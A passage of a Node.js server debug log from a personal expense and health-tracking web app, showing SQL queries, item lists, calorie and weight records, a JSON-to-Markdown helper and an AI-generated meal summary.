      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T17:37:10.248Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T17:37:10.249Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  }
]
2025-12-20T17:37:10.953Z server-connect:app Executing action step identify
2025-12-20T17:37:10.953Z server-connect:app options: { provider: 'security' }
2025-12-20T17:37:10.953Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 17:39:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 17:39:06' as DATETIME)"
}
2025-12-20T17:52:19.234Z server-connect:app Executing action step identify
2025-12-20T17:52:19.234Z server-connect:app options: { provider: 'security' }
2025-12-20T17:52:19.234Z server-connect:output identity: 1
2025-12-20T17:52:22.161Z server-connect:app Executing action step identify
2025-12-20T17:52:22.161Z server-connect:app options: { provider: 'security' }
2025-12-20T17:52:22.161Z server-connect:output identity: 1
2025-12-20T17:55:18.440Z server-connect:app Executing action step identify
2025-12-20T17:55:18.440Z server-connect:app options: { provider: 'security' }
2025-12-20T17:55:18.441Z server-connect:output identity: 1
2025-12-20T17:55:53.352Z server-connect:app Executing action step identify
2025-12-20T17:55:53.352Z server-connect:app options: { provider: 'security' }
2025-12-20T17:55:53.352Z server-connect:output identity: 1
2025-12-20T17:58:14.037Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-20T17:58:14.038Z server-connect:app Executing action step identify
2025-12-20T17:58:14.038Z server-connect:app options: { provider: 'security' }
2025-12-20T17:58:14.038Z server-connect:output identity: 1
2025-12-20T17:58:14.038Z server-connect:app Executing action step restrict
2025-12-20T17:58:14.038Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T17:58:14.040Z server-connect:output restrict: undefined
2025-12-20T17:58:14.040Z server-connect:app Executing action step select
2025-12-20T17:58:14.040Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-20T17:58:14.042Z server-connect:output items_consumed_today: [
  {
    id: 460,
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 461,
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm'
  },
  {
    id: 462,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)'
  },
  {
    id: 463,
    item_name: 'Apple',
    calories: 78,
    protein_gm: 0,
    carbs_gm: 21,
    fat_gm: 0,
    quantity: '1 small size (approx 150g)'
  },
  {
    id: 464,
    item_name: "Milk (Cow's Milk, whole)",
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 glass (approx 240 ml)'
  },
  {
    id: 465,
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)'
  },
  {
    id: 466,
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, 5-6 cashews)'
  },
  {
    id: 467,
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)'
  },
  {
    id: 468,
    item_name: 'Milk',
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 cup (approx 240ml, assuming whole milk)'
  },
  {
    id: 469,
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, about 5-6 cashews)'
  },
  {
    id: 470,
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)'
  },
  {
    id: 471,
    item_name: 'Dal (Mixed with Bathua Saag)',
    calories: 150,
    protein_gm: 10,
    carbs_gm: 20,
    fat_gm: 4,
    quantity: '1 bowl (approx 150g)'
  },
  {
    id: 472,
    item_name: 'Rice',
    calories: 195,
    protein_gm: 4,
    carbs_gm: 42,
    fat_gm: 1,
    quantity: '1 bowl (approx 150g cooked)'
  }
]
2025-12-20T17:58:14.042Z server-connect:app Executing action step paged
2025-12-20T17:58:14.042Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-20T17:58:14.044Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 16,
  page: {
    offset: { first: 0, prev: 0, next: 15, last: 15 },
    current: 1,
    total: 2
  },
  data: [
    { date: '2025-12-19T18:30:00.000Z', weight: '69.95' },
    { date: '2025-12-18T18:30:00.000Z', weight: '70.50' },
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' }
  ]
}
2025-12-20T17:58:14.044Z server-connect:app Executing action step run
2025-12-20T17:58:14.044Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-20T17:58:14.045Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 460 | Pre-workout | 0 | 0 | 0 | 0 | 1 scoop |\n' +
  '| 461 | Paneer (soft and fluffy) | 352 | 23 | 4 | 28 | 110 gm |\n' +
  '| 462 | Whey Protein | 120 | 27 | 2 | 1 | 1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein) |\n' +
  '| 463 | Apple | 78 | 0 | 21 | 0 | 1 small size (approx 150g) |\n' +
  "| 464 | Milk (Cow's Milk, whole) | 150 | 8 | 12 | 8 | 1 glass (approx 240 ml) |\n" +
  '| 465 | Banana | 105 | 1 | 27 | 0 | 1 medium (approx 118g) |\n' +
  '| 466 | Cashew | 55 | 2 | 3 | 4 | Few (approx 10g, 5-6 cashews) |\n' +
  '| 467 | Banana | 105 | 1 | 27 | 0 | 1 medium (approx 118g) |\n' +
  '| 468 | Milk | 150 | 8 | 12 | 8 | 1 cup (approx 240ml, assuming whole milk) |\n' +
  '| 469 | Cashew | 55 | 2 | 3 | 4 | Few (approx 10g, about 5-6 cashews) |\n' +
  '| 470 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 471 | Dal (Mixed with Bathua Saag) | 150 | 10 | 20 | 4 | 1 bowl (approx 150g) |\n' +
  '| 472 | Rice | 195 | 4 | 42 | 1 | 1 bowl (approx 150g cooked) |\n' +
  '\n'
2025-12-20T17:58:14.045Z server-connect:app Executing action step run
2025-12-20T17:58:14.045Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-20T17:58:14.046Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '\n'
2025-12-20T17:58:14.046Z server-connect:app Executing action step setvalue
2025-12-20T17:58:14.046Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-20T17:58:14.046Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 460 | Pre-workout | 0 | 0 | 0 | 0 | 1 scoop |\n' +
  '| 461 | Paneer (soft and fluffy) | 352 | 23 | 4 | 28 | 110 gm |\n' +
  '| 462 | Whey Protein | 120 | 27 | 2 | 1 | 1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein) |\n' +
  '| 463 | Apple | 78 | 0 | 21 | 0 | 1 small size (approx 150g) |\n' +
  "| 464 | Milk (Cow's Milk, whole) | 150 | 8 | 12 | 8 | 1 glass (approx 240 ml) |\n" +
  '| 465 | Banana | 105 | 1 | 27 | 0 | 1 medium (approx 118g) |\n' +
  '| 466 | Cashew | 55 | 2 | 3 | 4 | Few (approx 10g, 5-6 cashews) |\n' +
  '| 467 | Banana | 105 | 1 | 27 | 0 | 1 medium (approx 118g) |\n' +
  '| 468 | Milk | 150 | 8 | 12 | 8 | 1 cup (approx 240ml, assuming whole milk) |\n' +
  '| 469 | Cashew | 55 | 2 | 3 | 4 | Few (approx 10g, about 5-6 cashews) |\n' +
  '| 470 | Milk Tea (without sugar) | 60 | 8 | 12 | 0 | 1 cup (approx 240ml) |\n' +
  '| 471 | Dal (Mixed with Bathua Saag) | 150 | 10 | 20 | 4 | 1 bowl (approx 150g) |\n' +
  '| 472 | Rice | 195 | 4 | 42 | 1 | 1 bowl (approx 150g cooked) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-19T18:30:00.000Z | 69.95 |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '\n'
2025-12-20T17:58:14.046Z server-connect:app Executing action step processWithGemini
2025-12-20T17:58:14.046Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-20T17:58:15.626Z server-connect:output health_summary: {
  summary: "Today's intake shows a good distribution of protein sources, supporting muscle development goals. The inclusion of dairy and nuts provides healthy fats and some carbohydrates. Meal timing appears reasonable, with pre-workout fueling and post-workout protein. Continued adherence to this pattern should support gradual progress towards your objectives.",
  rating: 7,
  good_points: [
    'Adequate protein intake from multiple sources like paneer and whey.',
    'Inclusion of whole foods like dal and rice.',
    'Pre-workout and post-workout nutrition is addressed.',
    'Hydration from milk and tea is present.'
  ],
  bad_points: [
    'Limited variety in vegetables.',
    'Higher carbohydrate intake from rice could be balanced with more fiber.',
    'Snack choices (cashews, bananas) are repeated, could benefit from more diverse options.'
  ],
  suggestions: [
    'Incorporate a wider range of vegetables into meals for increased micronutrients and fiber.',
    'Consider adding a source of complex carbohydrates with a higher fiber content.',
    'Explore different protein-rich snack options to add variety.',
    'Ensure consistent hydration throughout the day.'
  ],
  predicted_weight_trend: 'gradual loss',
  predicted_weight: 69.8
}
2025-12-20T17:58:15.626Z server-connect:app Executing action step condition
2025-12-20T17:58:15.626Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-20T17:58:15.626Z server-connect:app Executing action step delete
2025-12-20T17:58:15.626Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-20T17:58:15.628Z server-connect:output delete: { affected: 1 }
2025-12-20T17:58:15.628Z server-connect:app Executing action step insert
2025-12-20T17:58:15.628Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
